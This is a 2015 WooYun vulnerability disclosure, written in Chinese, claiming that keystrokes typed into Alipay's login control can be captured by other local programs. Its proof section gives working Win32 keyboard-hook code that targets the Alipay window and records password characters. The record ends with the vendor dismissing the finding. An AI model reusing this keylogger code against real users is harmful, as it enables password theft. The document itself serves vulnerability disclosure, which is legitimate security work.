当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105538

漏洞标题:支付宝登录控件密码输入被监听漏洞

相关厂商:阿里巴巴

漏洞作者: Lynch

提交时间:2015-04-03 09:27

修复时间:2015-07-02 19:28

公开时间:2015-07-02 19:28

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-03: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-28: 细节向核心白帽子及相关领域专家公开
2015-06-07: 细节向普通白帽子公开
2015-06-17: 细节向实习白帽子公开
2015-07-02: 细节向公众公开

简要描述:

https://www.alipay.com/登录支付宝时,安全控件的防御机制不够严密,在输入密码时能够被本机上的其他程序监听到。

详细说明:

支付宝安全登录控件虽然使用了消息钩子等手段进行防御,但依然不够完善,通过其他窃听手段还是能够获取到用户输入的密码。

exploit.jpg

漏洞证明:

HHOOK g_hk = NULL;
TCHAR g_buff[100] = { 0 };
int g_index = 0;
LRESULT CALLBACK Hook(int nCode, WPARAM wp, LPARAM lp)
{
static DWORD a_other[] =
{
VK_CAPITAL, VK_LSHIFT, VK_RSHIFT, VK_LCONTROL, VK_RCONTROL, VK_LMENU, VK_RMENU,
};

KBDLLHOOKSTRUCT* pLL = ((KBDLLHOOKSTRUCT*)lp);
DWORD vk = pLL->vkCode;
for(int i = 0; i < sizeof(a_other)/sizeof(*a_other); ++i)
{
if(vk == a_other[i])
{
return CallNextHookEx(g_hk, nCode, wp, lp);
}
}
if(nCode >= 0 && WM_KEYUP == (DWORD)wp)
{
POINT pt = { 0 };
GetCursorPos(&pt);
HWND hwnd = WindowFromPoint(pt);
if(hwnd)
{
hwnd = GetParent(GetParent(hwnd));
TCHAR szTitle[100] = { 0 };
SendMessage(hwnd, WM_GETTEXT, (WPARAM)100, (LPARAM)szTitle);
if(_tcsstr(szTitle, _T("支付宝")))
{
TCHAR ch = (TCHAR)vk;
if(vk >= VK_NUMPAD0 && vk <= VK_NUMPAD9)
{
ch = vk - 0x30;
}
else if('A' <= vk && 'Z' >= vk && 0 == LOBYTE(GetKeyState(VK_CAPITAL)))
{
ch = vk + ('a' - 'A');
}
else if(vk >= 0x30 && vk <= 0x39 && (0x8000 & GetKeyState(VK_SHIFT)))
{
switch (vk)
{
case 0x32:
ch = _T('@');
break;
case 0x33:
ch = _T('#');
break;
case 0x34:
ch = _T('$');
break;
case 0x35:
ch = _T('%');
break;
case 0x36:
ch = _T('^');
break;
case 0x37:
ch = _T('&');
break;
case 0x38:
ch = _T('*');
break;
}
}
else if(VK_MULTIPLY == vk)
{
ch = _T('*');
}
g_buff[g_index++] = ch;
OutputDebugStringW(g_buff);
}
}
}
return CallNextHookEx(g_hk, nCode, wp, lp);
}
SetWindowsHookEx(WH_KEYBOARD_LL, Hook, GetModuleHandle(NULL), 0);


任意一个具有消息循环的win32应用程序,使用上述代码即可实现监听。

修复方案:

建议使用强度更大的防御手段,保证自身的消息钩子优先调用,使其他应用程序没有机会获得用户输入。

版权声明:转载请注明来源 Lynch@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-02 19:28

厂商回复:

亲,经过测试发现您测试的环境是无控件环境。不是安全漏洞。感谢你对我们的支持与关注。

漏洞Rank:8 (WooYun评价)

最新状态:

暂无